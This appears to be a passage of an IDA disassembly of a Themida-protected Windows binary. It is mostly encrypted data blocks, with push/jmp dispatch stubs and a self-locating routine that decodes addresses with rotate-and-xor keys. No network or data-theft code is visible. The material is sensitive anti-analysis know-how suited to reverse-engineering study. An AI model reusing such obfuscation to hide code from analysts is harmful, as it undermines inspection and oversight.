dd 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h
dd 0F94E0097h, 9FA5B4h, 0F07B6B5Ch, 8A924Ah, 45F352D0h
dd 0A3F653F5h, 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h
dd 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh
dd 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h
dd 0BCE1B6F6h, 0B3ED7293h, 0B6D00097h, 0A8CD43F1h, 0F0h
dd 74470000h, 0E0E3129Dh, 5E99h, 0Bh dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5F5FD7: ; CODE XREF: Themida_:005F5EEAj
jmp loc_5F759C
; ---------------------------------------------------------------------------
push 7EB3D4Ah
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB3E44h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB3F2Ah
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB4056h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB40E8h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB4198h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB4248h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB42FCh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB43A2h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB450Eh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB462Fh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB4779h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB485Ah
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB49B1h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB4B1Eh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB4D72h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7EB4E78h
jmp loc_58A287
; ---------------------------------------------------------------------------
push ecx
jns short loc_5F60E0
retn
; ---------------------------------------------------------------------------
dw 0D4ADh
dd 2E0A20B4h, 8B6A8014h, 0F2CDE377h, 836942D6h, 3FD3EFCAh
dd 9D314F29h, 0FF93A987h, 60F40CE9h, 0FB80FDADh, 5713A99Bh
dd 79568312h, 7E5B2961h, 0DCB3D266h, 0BE482D2h, 8C18B3EBh
dd 0A78597AFh, 0A6B3A02Ah, 4D85EE13h, 0A6B4DFA0h, 2B5B6C13h
dd 78098C73h
; ---------------------------------------------------------------------------
loc_5F60E0: ; CODE XREF: Themida_:005F6087j
fmul dword ptr [ecx+59h]
; ---------------------------------------------------------------------------
db 0
dd 0CB690000h, 39ED6EEh, 30921CF1h, 42A0CCB3h, 0AD2A8A14h
dd 1442A0D6h, 0B0C21B84h, 5CAC028Dh, 0A6A929DFh, 467EE713h
dd 0A6A9E699h, 6573113h, 80B81129h, 84BCD6B2h, 0CF4EF6CDh
dd 267ED7F5h, 0D22D5115h, 0C4D87808h, 1F314926h, 0E080h
dd 4F2EA000h, 8820A4B3h, 92815668h, 0A0CCB330h, 218A1442h
dd 18F50Fh, 31FFAC8h, 0D520FDCBh, 7C55E1F7h, 0FDCB035Ch
dd 7F740820h, 1442A416h, 55EACB3Dh, 8D549B79h, 0D30B2501h
dd 2F0C2638h, 0BA98317h, 45E0182Ch, 0B3C5DBB9h, 6CA4BC99h
dd 64B4FA95h, 0A6326DE7h, 7ACA3313h, 3AE49B18h, 97213A6h
dd 0D9B6D5F7h, 4C6240DEh, 690E7914h, 0E513A63Ah, 3A730885h
dd 76DF13A6h, 0F774C41Dh, 1440D3F4h, 630151BAh, 0FED86C88h
dd 326A8460h, 906B8597h, 0FC592074h, 0D2126235h, 12FE4Ch
dd 0A6C8A000h, 323FC12h, 637D596Fh, 0C6DAB9CFh, 25411C32h
dd 1932B891h, 788E223Eh, 0D6EC809Eh, 384EE2F8h, 0FCAF435Bh
dd 9D28CF4Ch, 61A613A9h, 5F7B56D2h, 0B9D8B5CBh, 24635BF8h
dd 0FD91EA29h, 39424D2Ch, 0DCB9455Bh, 98F18CC4h, 0A905CB48h
dd 6AD313A6h, 0A9FA8532h, 405113A6h, 76F35504h, 13A6A981h
dd 7C58E44Dh, 8A755062h, 0CD87808h, 3B360E9Ah, 0DFF1487Bh
dd 0BE40h, 0F4926900h, 0F58A0718h, 611442A0h, 99679FF8h
dd 0D36EA6BAh, 714E687Ah, 78532159h, 0FA324E29h, 0DEF6D35Fh
dd 49BB4D85h, 0B2B8652Dh, 1710221Eh, 1442FE8Eh, 10A4BC99h
dd 0BEFE1DFAh, 451BB333h, 0BF332181h, 69398D6Eh, 8E01D810h
dd 5832D020h, 0CD4A283Ah, 13A6324Bh, 0FD1CB019h, 2ECC1C92h
dd 45233555h, 40DCE8C8h, 0C1117A14h, 982C4823h, 378BA782h
dd 6236004Ch, 46DF333h, 9A000012h, 0F60CA0C2h, 5369FD1Dh
dd 0B3C95D77h, 162CC0D4h, 0B28B1F3Bh, 1C38134Ch, 7A987288h
dd 0DCF2D0E6h, 3D553248h, 0C946F6A9h, 13A99E32h, 56CC5BA0h
dd 0F1CB5F7Bh, 265E7653h, 825F798Bh, 5605D66Ah, 97296179h
dd 0F0021EF9h, 0CFAEF9D6h, 8FE883BBh, 0EF09E5FBh, 0E22019Fh
dd 8B6836FCh, 77B8DF73h, 0DD9EF1h, 0BC15B0E8h, 916C0A6Ch
dd 8C17B76Eh, 0A63C44Bh, 0E951FFF8h, 96FF13A6h, 26FF9D8Dh
dd 1FBF406h, 8BE42C00h, 0F85AAA04h, 2C62847Bh, 89E952EBh
dd 6715C80Ah, 0A17F9141h, 0C8F7D224h, 0DF1780ECh, 724DEB4Dh
dd 18831E56h, 1310C763h, 517486EFh, 0A320703Eh, 14F7777Fh
dd 0D7F5AC1Eh, 3DB1B846h, 47A7D22Dh, 6DFD284h, 9C7B8DE6h
dd 6845E333h, 0C9A6BC50h, 0D1305DB1h, 236362C6h, 111E9Dh
dd 86A88000h, 0E303DCF2h, 435D394Fh, 0A6BA99AFh, 521FC12h
dd 0F9529871h, 586E021Eh, 0B6CC607Eh, 182EC2D8h, 0DC8F233Bh
dd 9FC8AF2Ch, 418613A9h, 0B33092B2h, 1442A0CCh, 0F50F218Ah
dd 0F1C80018h, 9FD0099Eh, 0F9B543DBh, 1DD350A0h, 0DC13A6EFh
dd 2F06FD7Ah, 6BD413A6h, 0C1117A59h, 0F42C4823h, 6254759h
dd 58D52589h, 14420A52h, 8DA78321h, 0C9A8BA55h, 807B2860h
dd 471B8A15h, 0B14E0E36h, 26D0935Ch, 32h, 0E432D446h, 25767FD3h
dd 424D3E13h, 3B9F1C6Ch, 5913A6EFh, 2402A0F0h, 0F8857A0Eh
dd 1F13A6F0h, 80962A42h, 9E3C8CA2h, 0D298AAC0h, 10664Ch
dd 0F492DB00h, 0C017FA15h, 0A98DA104h, 0CEE8C450h, 0B8F699BCh
dd 0E703EB68h, 35D113A9h, 69043C5Ch, 4522C010h, 0F2D01FFAh
dd 962A83DCh, 538BA380h, 4B9B137Ch, 422D45CEh, 50A00914h
dd 41748CDEh, 617358F1h, 0F008E583h, 92902A0h, 0E2BFD5F7h
dd 0D4BB92CAh, 8A288ADAh, 8C5A92B0h, 0C66199ADh, 44625B6Dh
dd 121C70C4h, 0F54255A9h, 25655A46h, 0FF29Fh, 0B2D4AC00h
dd 0F2F081Eh, 6F89657Bh, 0D2E6C5DBh, 314D283Eh, 253EC49Dh
dd 849A2E4Ah, 0E2F88CAAh, 445AEE04h, 8BB4F67h, 0E024DB58h
dd 6DB213A9h, 0A08477DEh, 89061442h, 0C663D525h, 7A9F8597h
dd 48809A76h, 644254ADh, 0A98664E7h, 71C12A13h, 7898710Fh
dd 7F937240h, 4153AC47h, 9E324A27h, 5B93AB88h, 0F09C0B84h
dd 137221B4h, 6D0B5BB4h, 0CE7B6F92h, 0E5254152h, 0A7B9548Ch
dd 0C6864CC9h, 0B854144Dh, 1367C0DEh, 62320A8Eh, 6067ED2Dh
dd 3E00000Fh, 9AB04466h, 0F70DA1C1h, 576D011Bh, 0BAD06478h
dd 562FC3DFh, 0C0DCB790h, 1E3C162Ch, 8096748Ah, 0E1F9D6ECh
dd 6DEA9A4Dh, 13A9E096h, 9270FF44h, 0A0CCB330h, 218A1442h
dd 18F50Fh, 94783EB0h, 9562FEDh, 7486A27Dh, 0EB03E0AEh
dd 0F2B26FB3h, 5B2F35CAh, 91CA2E0h, 4DCB0000h, 435D3942h
dd 1F1D9AEAh, 6E13A99Ah, 0A4DCF2D0h, 0AF18F709h, 0CCE4C15Fh
dd 6E6F0A7Ch, 4C1D547Ch, 0A03E183Ah, 0D772AAC4h, 83CEABC5h
dd 0BC578FA5h, 0FD7E2B63h, 0D13A9F0h, 31DF982h, 87D730CBh
dd 4DDC440Ah, 55A91214h, 62320456h, 0B0B33979h, 0EE00000Eh
dd 4A60F416h, 0A7BD5171h, 71DB1CBh, 6A801428h, 6DF738Fh
dd 708C67E0h, 0CEECC6DCh, 3046243Ah, 91A9869Ch, 1D9A4AFDh
dd 13A9E166h, 5620AFF4h, 5B296179h, 0DF26F7Eh, 0C91442A0h
dd 8BCF0760h, 19E696CEh, 0BEE05C1Dh, 87Ah, 0A08477E7h
dd 89061442h, 5A37D525h, 0D5523042h, 13A99A97h, 4AACFC65h
dd 720986E8h, 0E013A99Ah, 9A770C77h, 7AE313A9h, 59714E68h
dd 0BAD2AFC5h, 0D3E4AB82h, 0A99AA156h, 0B5912D13h, 6FC8639Bh
dd 0C664C616h, 1E12CCE7h, 65501FA3h, 2739D40Ch, 4D6B782Eh
dd 79CD3614h, 62316D3Ch, 0E167A7h, 9E00000Eh, 0FA10A4C6h
dd 576D0121h, 0B7CD617Bh, 1A30C4D8h, 0B68F233Fh, 203C1730h
dd 7E9C768Ch, 0E0F6D4EAh, 4159364Ch, 0CD4AFAADh, 13A9E236h
dd 56D05FA4h, 5B296179h, 602E667Eh, 612F6787h, 43573687h
dd 24FBB2EAh, 820FD60h, 0DADC35D0h, 0CA35691Dh, 0BE05C1Dh
dd 7BEh, 9AAE8D2Bh, 81A300Eh, 18F49233h, 0C6C9ECFEh, 742698E8h
dd 0AF12B999h, 17947284h, 13A9C8B6h, 650353BCh, 0C6DC7088h
dd 0E381D1E9h, 15DBED07h, 0EF09E583h, 110A1CB7h, 13A92D6Eh
dd 6FBFEFA0h, 48916F0Dh, 0E5F7506Eh, 4D0126ECh, 378BF414h
dd 6231C788h, 4CA92F6Fh, 5200000Dh, 0AEC4587Ah, 0B21B5D5h
dd 6B81152Fh, 0CEE4788Ch, 6A43D7F3h, 0D4F0CB84h, 32502A40h
dd 94AA889Eh, 0F50DEA00h, 81FEAE61h, 13A9E2FAh, 92841358h
dd 0EBFD19F4h, 0A4DCF4D1h, 0A9E1F9D6h, 0AEE6FEDBh, 0B5ED01E0h
dd 5D1551D4h, 0B6E69E5Bh, 0E05C1D49h, 70D8Eh, 8177B700h
dd 0B1442A0h, 53312384h, 79339970h, 753D020h, 0D513A9D2h
dd 0A17E1C6Ch, 2DFF589h, 0CF7F10E3h, 0BA5E99C7h, 6F1676EFh
dd 0A429B30h, 514B5C33h, 0BBDBB450h, 0C2FA0C5Bh, 0C69C1969h
dd 94144D99h, 39F2D72Bh, 0D9196232h, 0CA653h, 0FE20F800h
dd 5B7B546Ah, 0BBD5B1C7h, 1E321127h, 7D99748Ah, 71EA10E9h
dd 0D0E67A96h, 2E44D8F6h, 90A63A50h, 54079BB3h, 0E35027A4h
dd 0B9FE13A9h, 0AE20922Ah, 4C22E7E0h, 8DC5E3BDh, 0CC4999F2h
dd 1442DC37h, 0E283AA3h, 13E11931h, 0F50FEB36h, 1C26649Ch
dd 788AA07Eh, 0D7B4ABDBh, 0AB542BBFh, 2CE05B95h, 183h
dd 0BBCFAE4Ch, 7956D4A9h, 7E5B2961h, 9E781666h, 9BAD4880h
dd 79355A79h, 0B322AC29h, 77013A6h, 69DB3DCFh, 0CA09163Eh
dd 8A71DC93h, 4813A620h, 2BD4CDDFh, 0A013A620h, 58A7D78Fh
dd 3ED8779Dh, 5AAAC4A0h, 0A62826DDh, 394BB413h, 579Ah
dd 424DC300h, 0D455B39h, 0DEA52272h, 7C1442A0h, 0ED6ABA13h
dd 13A6A927h, 637D59F5h, 0FF37902Bh, 0A6A9A952h, 0F50DEA13h
dd 0F715EFBDh, 0CBB02DBFh, 8713A6A9h, 92D2A91Eh, 317586DEh
dd 7808728Dh, 0D163D8h, 21830000h, 0F3989CAFh, 349F85B9h
dd 13A69C4Fh, 0BB90A20Bh, 29617956h, 2C64805Bh, 91DFC9Ah
dd 0CFAA36D1h, 0AA87A1B3h, 0AF8C5A92h, 0BD6EA490h, 80D92D5Fh
dd 0F6FEF7ECh, 0AC891442h, 0AEE10094h, 0B04EB000h, 4F2CB8D6h
dd 5264FF37h, 0A4EEFB59h, 0D0208913h, 0EB3B5732h, 30770C89h
dd 7AE313A5h, 55304668h, 0EFEEE539h, 0F1316A19h, 0B3A6Bh
dd 6A8C6400h, 0C7E7C0D6h, 27411D33h, 8A9E7D93h, 0E905E0F6h
dd 0DD767C55h, 3C52E602h, 9AB04462h, 0FC12A6BCh, 0C073071Fh
dd 0E5EC9310h, 256A13A9h, 5F7B5696h, 4B30AD0Fh, 0CC1442A0h
dd 49FD7EFh, 21D653B3h, 0AD1442A0h, 0B7D9EB44h, 38B5C4A1h
dd 1442A043h, 7B99730Fh, 0F64FA843h, 152908A6h, 5610E103h
dd 5B296179h, 0F8D2667Eh, 2E667C5Ah, 0AADD3393h, 0D2005A3Ch
dd 4D4EEC0h, 927D0000h, 8A0718F4h, 1442A0F5h, 679FF861h
dd 0F897BACCh, 660466B6h, 665F7189h, 13A6AB90h, 3185CD3Fh
dd 8A415A18h, 0F8309978h, 0F0870466h, 5E13A6E2h, 96CEE4C2h
dd 9790A2FBh, 13A6E2E4h, 6A125263h, 0D877CF95h, 1F142h
dd 83776B00h, 0D1442A0h, 5FDC2C82h, 13A99A29h, 902E7EE7h
dd 0F1079BB3h, 0F3880514h, 5F13A99Bh, 0D3659DF6h, 2C3E5A35h
dd 0D8288609h, 0EAFDD876h, 0A99B966Dh, 82DB4413h, 95A17770h
dd 0FF6F144Dh, 0A966806Fh, 9DFF6E07h, 6833C0D4h, 7B62B60Fh
dd 0B8623239h, 0A19F278h, 0AD850000h, 8E1F78Bh, 623E54E8h
dd 0BF9EB448h, 260117ABh, 579D760Ah, 730723FEh, 0D165835Dh
dd 33C7DDBBh, 9428401Dh, 0CFB431E1h, 8B13A9E6h, 0F492B746h
dd 2EC90115h, 0D25021Ch, 0DF2A07D5h, 5A92EB01h, 33B0121Ch
dd 1442A04Ch, 0F28FA10Ah, 0D6EECBB2h, 0F20CE886h, 7B0E5E92h
dd 7A8C2C96h, 577E8158h, 2F57E05Bh, 80000001h, 0ED6A7956h
dd 1442A016h, 0CA025BC4h, 73071FFCh, 51FFB99h, 0EFBFD0F3h
dd 0B3A8229Fh, 4AE613A6h, 2F47246Bh, 0F4D09ED6h, 0AE07A2DAh
dd 8F701D55h, 813A6B4h, 0E600DC2Fh, 82BA13AEh, 85BDD9B4h
dd 8BC77F46h, 3A622233h, 0D87809C5h, 2C12h, 424D3B00h
dd 0E99F1C6Ch, 0A813A6A9h, 0E2AC7D36h, 1AA6D8E2h, 3413253Dh
dd 15E693CBh, 0B213A669h, 46B9E5A1h, 8FD87748h, 9Dh, 617956B8h
dd 64805B29h, 62815E2Ch, 0B2D24A15h, 0C5FD5634h, 6E021AF7h
dd 42C98C79h, 0F33E1B14h, 27C2FA1Ah, 741B3ACEh, 87112833h
dd 3D96A288h, 2DD270EDh, 2FA113A4h, 4278B921h, 41203222h
dd 79B1C7A5h, 973585DEh, 320CA0BCh, 8D9FB794h, 70499873h
dd 247D1850h, 1A3517D0h, 6AF0306Ah, 8CFh, 41D5F7CFh, 9E32522Bh
dd 0FE92AC88h, 61F509E8h, 0C054704Bh, 6D4801E7h, 0CDA7BD51h
dd 27051BAFh, 8A677D11h, 7B2BDE72h, 0A9E779FEh, 190D513h
dd 0CB5F7B56h, 2CC0D8B5h, 6179565Bh, 5F7E5B29h, 7FCCCB15h
dd 2ABE17FAh, 2995Ch, 424DEB00h, 3DBA1C6Ch, 1442A046h
dd 819D7814h, 4355AE49h, 8A650365h, 0F9B366Eh, 10091B31h
dd 13A99B60h, 105B82F2h, 59F7A958h, 601BC800h, 0E713A9D4h
dd 11EEAED6h, 0C6D8709Dh, 229h, 700784E6h, 0DE13A9D8h
dd 778E6375h, 1442A083h, 0DC2C820Dh, 0A99B9B5Fh, 80D03913h
dd 9DED05E2h, 5C280D2Bh, 0EE00E148h, 1390F2CCh, 13A92C6Ch
dd 556F81EAh, 51286078h, 8C95693Eh, 869CC660h, 0BA60DD2Dh
dd 58144DFBh, 1D569BEFh, 0C5056232h, 7EE3Fh, 0B6D8B000h
dd 13330C22h, 738D697Fh, 0D6EAC9DFh, 35512C42h, 2922C8A1h
dd 889E324Eh, 0E6FC90AEh, 485EF208h, 0CBF536Bh, 0E818DF5Ch
dd 71B613A9h, 16F492E2h, 0F7D4EE00h, 0FCD9A7DFh, 0FFDEACE4h
dd 8E5B3EBh, 0A0877CF9h, 0EA531442h, 521B5991h, 99625E12h
dd 7D9572EDh, 11ED12E9h, 72EAE05Ch, 0A000001h, 66788E6Ch
dd 6A795691h, 0A0F48B08h, 0F9621442h, 42A0E98Eh, 0A3FC6514h
dd 0A8C09D6Bh, 0C4DEBA58h, 0BDDFF18Ch, 0AC8AF19Eh, 6AC35E96h
dd 0B3139D1Ah, 0F86113A6h, 0B46813C0h, 0CEDF13A6h, 919E696h
dd 41BED878h, 0E7000000h, 5C39424Dh, 1E9BEB44h, 13A6A968h
dd 0E831B626h, 0D590A996h, 0E497447Ch, 6313A658h, 0C9671252h
dd 0AAC6A1ECh, 2E7E1951h, 0A658CAB1h, 0D1F8813h, 7719CD32h
dd 0CD0AD8h, 8C2A0000h, 0B28799ADh, 29617956h, 6B5D805Bh
dd 2F281EAEh, 5D30B64h, 0E503DD28h, 69B912ADh, 9BD3F1CBh
dd 7ED7F1CDh, 0FBD8A66Ch, 3C738BDCh, 0AFC0234Fh, 24CF2FFCh
dd 5C36C209h, 3395E53Eh, 42A5C1B6h, 98248D14h, 6B8D9FBFh
dd 42DF9F76h, 334B2814h, 9F0F809Fh, 3874D24Fh, 990213A4h
dd 0B4D0AB49h, 132F0A20h, 1A1A3CBFh, 6DF3336Ah, 697h, 790D2F07h
dd 0D66A8A63h, 36CAE4C0h, 992D4120h, 0F88CA883h, 0A580D91Fh
dd 5DFF589h, 5F3D53E7h, 0C29FB549h, 0B36316AAh, 0A9E94136h
dd 39C80D13h, 0CB5F7B56h, 0E2B9D8B5h, 95954DFDh, 0F1CCA828h
dd 7CD552F3h, 0F471D323h, 1442C30Fh, 2E5062CBh, 8E75F254h
dd 4C1442C3h, 56FCD1E3h, 0AF116179h, 42A04D32h, 8EA00914h
dd 51DFAC8h, 0B8359771h, 1442A0C3h, 4214268Fh, 32h, 617956D1h
dd 1CF99729h, 0FBD8F204h, 0CA47ABE3h, 0A7C6A39Ah, 920F91B8h
dd 1442ADEDh, 0F5A00069h, 3AC13E5Fh, 98144255h, 0E97DD62Fh
dd 421Bh, 7956AA00h, 0DD36542Eh, 997513A5h, 0A0740B88h
dd 79E21442h, 0C14DE820h, 0FB96CEE2h, 0A00EF0E9h, 0B0891442h
dd 0AD8A5890h, 0B08F5D95h, 1450279Ch, 0BFE7105Ch, 7BCBE3C0h
dd 0A0E79C19h, 0A731442h, 5605D6F8h, 52296179h, 8321713Dh
dd 671C99A4h, 0F31442A0h, 0C7A5318Ah, 0CCDE79B1h, 9B9D71EEh
dd 0EE5713A9h, 0C22009Eh, 0A17E1CFAh, 9B6E1592h, 83EC13A9h
dd 0A380962Ah, 137C538Bh, 45CE4B9Bh, 0A1442A1h, 41798D6Ch
dd 4CB594A6h, 69815EFCh, 3D19B719h, 0D5C3B823h, 268F1B94h
dd 0FFDCF214h, 0B7D8AFE7h, 72CBEBC4h, 8EA88422h, 83219E7Ch
dd 0D11C70C2h, 0F3F11468h, 52925A46h, 52ACCh, 7A9C7400h
dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h, 0ED668C65h
dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 0EBDCA320h
dd 357A13A9h, 617956A6h, 7A55F3CDh, 9567EE57h, 0A4FD67D3h
dd 6B45D16Ch, 687A154Dh, 4C26714Eh, 0CF9DD52Eh, 0EC8ADAF2h
dd 2FC1F90Dh, 4209CDB2h, 0C7208914h, 0E8B1EFB5h, 0CCE4C1BCh
dd 689E6138h, 86F8E05Bh, 0BACE60C9h, 0A5445690h, 62h, 39424DCEh
dd 0DBE3435Dh, 57B69A30h, 0C44191EAh, 13A6C6DCh, 27C5157Eh
dd 5DDA3C49h, 13A6D8A6h, 9B60CB34h, 3713A6D8h, 0B32575CEh
dd 0E4FEE09Fh, 976CE933h, 4313A6E6h, 4D6F81DAh, 0DDFBD573h
dd 0E62BD2CBh, 0AA813A6h, 3FDA1230h, 1E36132Dh, 8096748Ah
dd 455C248h, 0AA480000h, 0DE79B1D1h, 7956F7CCh, 32AF1161h
dd 1442A04Dh, 307043FAh, 1F701410h, 10DEA4B6h, 0F10DE833h
dd 0F70DEBB9h, 3FCB24BFh, 0A3F34C60h, 87C22C31h, 0D6DA95Fh
dd 4A98096h, 224456BCh, 0D2228C03h, 0DFF3D270h, 1FA0CA7h
dd 13A6768Fh, 860365C5h, 13A679F1h, 0F289F45Dh, 6013A679h
dd 0D4669EF7h, 0D1801462h
dd 0A7F77E55h, 0A6F4552Ah, 86980113h, 0A6F4F28Dh, 1C485913h
dd 77C99F60h, 4738D8h, 4D610000h, 0BA1C6C42h, 0A024DB58h
dd 49B21442h, 0A9883E37h, 0A94713A6h, 0B07EB6CAh, 0E47FB7D7h
dd 319A798Bh, 0A9B34CF9h, 5E413A6h, 0CEBB9F1h, 17F2C0F8h
dd 2B28C3FBh, 18702064h, 0E01F5F07h, 0F5D87808h, 104h
dd 6179561Eh, 49987311h, 0E7F9526Eh, 5C785321h, 19F49224h
dd 7D9371FDh, 5C74516Bh, 1BF49224h, 0F2CFE9FBh, 0FA6C46DAh
dd 61B34EC6h, 0FA77C7EDh, 14425B05h, 5D5668D1h, 14425F48h
dd 9AEA02DFh, 0A0C4BB38h, 32921443h, 43A1CEB5h, 0CA238C14h
dd 0A38096B8h, 137C538Bh, 41D94B9Bh, 0CCE2C068h, 0E898106Ch
dd 6D7BF8D6h, 3B13A775h, 70A8C49Fh, 0C9E87CD5h, 0BEDAB5C6h
dd 15B31565h, 19E71F39h, 51EC243Ch, 45EDE6F8h, 171441A0h
dd 9AFC5EAEh, 8E74661Dh, 798BF41Bh, 1868845Fh, 744239B6h
dd 0A7101B8Eh, 825D7395h, 0ACFD1266h, 5A9A6234h, 2D6D4h
dd 0CEF0C800h, 2B4B243Ah, 8BA58197h, 0EE02E1F7h, 4D69445Ah
dd 411AE0B9h, 0A0B64A66h, 0FE14A8C6h, 60760A20h, 24D76B83h
dd 0ED00F774h, 89CE13A9h, 2C7B56FAh, 49DD3650h, 64375633h
dd 0A8E3CBB2h, 0B28C2079h, 6A1A3514h, 0DB809779h, 6E4355AEh
dd 375424Dh, 0ECBD43BEh, 4FB66FEh, 0D2144256h, 43C01069h
dd 13A65F8Dh, 0B7D3AE4Ch, 255DC6A5h, 0A65F8778h, 73334413h
dd 7712B44Bh, 1970E2D8h, 1920F2C9h, 0C653F204h, 73000000h
dd 6DEAF7D5h, 13A64796h, 7082DB44h, 6179569Bh, 64805B29h
dd 0A4167F2Ch, 24011442h, 8562780Ch, 49BB1D6Dh, 66574DAh
dd 9E65D0FBh, 3C1442C8h, 24FBC1D3h, 76F3436Bh, 13A6C668h
dd 0A5BD9A36h, 0E579D26Dh, 95E5C9C6h, 40319F18h, 0DA73E314h
dd 22C2B921h, 62C3D434h, 1FA25764h, 0FED876C6h, 0FB0DA8E0h
dd 55A47F1Dh, 6F035C7Ch, 0E627E59h, 62366C0Bh, 0D0DA60A0h
dd 0CE000001h, 2A40D4F6h, 879D3151h, 0E7FD91ABh, 4A60F408h
dd 0E6BF536Fh, 506C4700h, 0AECCA6BCh, 1026041Ah, 7189667Ch
dd 0FD7A2ADDh, 13A9EE06h, 56008FD4h, 0F1CB5F7Bh, 0F8E3017Fh
dd 0D626D436h, 42AAA259h, 0B5C73014h, 12A6BE9Bh, 0B3309241h
dd 1442A0CCh, 0D6AD2A8Ah, 841442A0h, 96B0C21Bh, 0B351A1B9h
dd 5230BCD8h, 96642A3Ch, 0F70DA1B9h, 14B2021Ah, 4AE51D39h
dd 0F49B7238h, 83ED6ABAh, 5113A6B9h, 22F9B0E8h, 61EFB62h
dd 5CEB44B6h, 45336D6Ch, 9DF21133h, 4923C111h, 858F32Bh
dd 0A660F48Bh, 0E7F96213h, 7AAA8C09h, 4FB81442h, 6D8361FFh
dd 0C2889A35h, 0C7FF17F4h, 0B6BEE663h, 0E785D5D9h, 1EB9F10Bh
dd 649CB692h, 5CD9B7C9h, 1C6E61FAh, 758B1F88h, 7A488098h
dd 974E869Ch, 0BC9984C0h, 9EF110A4h, 2943C010h, 0A7040A4Ch
dd 274063Eh, 0B82B4C2Eh, 0E2FC0EEFh, 0E7B5ED05h, 0E8B6EE0Eh
dd 1EB9F10Dh, 8C68B792h, 0A2E11972h, 72E7ABDBh, 246BEB9Bh
dd 7BC83A8Ah, 7E5F041Fh, 0D4FC1B60h, 237C06D4h, 54B63311h
dd 1B0C37FFh, 16939E7Dh, 3337C061h, 0F32B84EDh, 0FE674658h
dd 18F2906Ah, 0C0F18603h, 0F45D3337h, 0B6C8639Bh, 3EBBFC93h
dd 3337C0B9h, 353AC15h, 0DCFA9186h, 1C54BD34h, 0C559714Eh
dd 82BAD2AFh, 815F19D5h, 0DA4C0A74h, 0A348519Bh, 8421339Eh
dd 68805DC0h, 0C9E1BED4h, 0D0E4C391h, 0D1F1CA98h, 0F58A0799h
dd 616B410Bh, 788E6CF8h, 0F2B28940h, 933149BEh, 0CD68A0B4h
dd 0F7661EBBh, 586E021Ah, 992B637Bh, 0A6BA9937h, 410B443Bh
dd 63A2126Bh, 0A0E4A0C0h, 0FE7BCB24h, 6B41E079h, 885A6CD5h
dd 3, 563E8D17h, 56245C7Eh, 5B296179h, 612F677Dh, 63316987h
dd 66346C88h, 69376F8Bh, 703E768Ah, 74427A94h, 0EE437B9Bh
dd 81E28952h, 4C2h, 4EA8300h, 31241433h, 14332414h, 89575C24h
dd 4C781E7h, 83000000h, 3C8704EFh, 34895C24h, 66406824h
dd 0C890000h, 4EC8124h, 89000000h, 1CB82404h, 3556202Dh
dd 188D244Dh, 32A93540h, 0C6894946h, 4EC8358h, 83242489h
dd 59042404h, 7FDF68h, 24048900h, 8B8h, 89C80100h, 0C8B5830h
dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 5324348Bh
dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFF92CF7h, 1774D684h
dd 0BFFA271Fh, 2383B9A2h
; ---------------------------------------------------------------------------
loc_5F759C: ; CODE XREF: Themida_:loc_5F5FD7j
mov eax, 7EB506Dh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0DAh, 5Dh, 2Ah
dd 96E76062h, 1AEAB34Fh, 5D7D0F16h, 0DC1F1939h, 0EFD43033h
dd 85DE1705h, 3A150B2Bh, 61ADD73Bh, 7ECB22Bh, 0DAF5FA15h
dd 0FB7B9C4Fh, 92850851h, 6212430Ah, 4FAA8827h, 0F492433Fh
dd 0F72A082Eh, 93E1B04Fh, 14175E45h, 97DD4E35h, 7C89EA16h
dd 2A8D8D7Ah, 6A07EB52h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0BFF9C352h, 4FFD3020h
dd 1B718D89h, 896007E4h, 0E4220595h, 21958B07h, 6107E42Ah
dd 2DA185C7h, 58D807E4h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 8436E9C3h, 0C7F9C25Dh
dd 0E422B985h, 7, 0C0816600h, 0B5FF925Ah, 7E40A59h, 0C398D681h
dd 95FF2548h, 7E43061h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 0A7C35545h, 4259589h, 850F07E4h, 6, 1D6DB58Bh
dd 6A07E4h, 0E4195FFh, 0C08B07E4h, 3D2538EBh, 0A1672D0Ch
dd 0D0210A55h, 1974F04Dh, 9FEBC69Fh, 0DB0B6BF8h, 75AA4C6Bh
dd 5F754031h, 0A43E7AADh, 473DEE69h, 0B048A2FCh, 0E3CFD71Eh
dd 2FA2CD83h, 0D2808702h, 5FE990B1h
db 1, 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_5F76F7 proc near ; CODE XREF: sub_4068E0+12Bp
; sub_409CA0+1Dp ...
push edx
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 7EB5275h
mov eax, [edx+8]
cmp eax, 78263845h
jnz loc_5F784D
mov eax, [edx+0Ch]
mov ecx, [edx+18h]
ror eax, cl
mov ebx, 384C4A89h
xor eax, ebx
sub eax, 4
mov [ebp+7E41B71h], eax
mov ebx, [eax+4]
mov edi, eax
mov eax, [edx+10h]
mov ecx, [edx+18h]
ror eax, cl
mov esi, 0C42888CEh
xor eax, esi
sub eax, edi
and eax, 0FFFFFFFCh
sub eax, 4
mov [ebp+7E42DA1h], eax
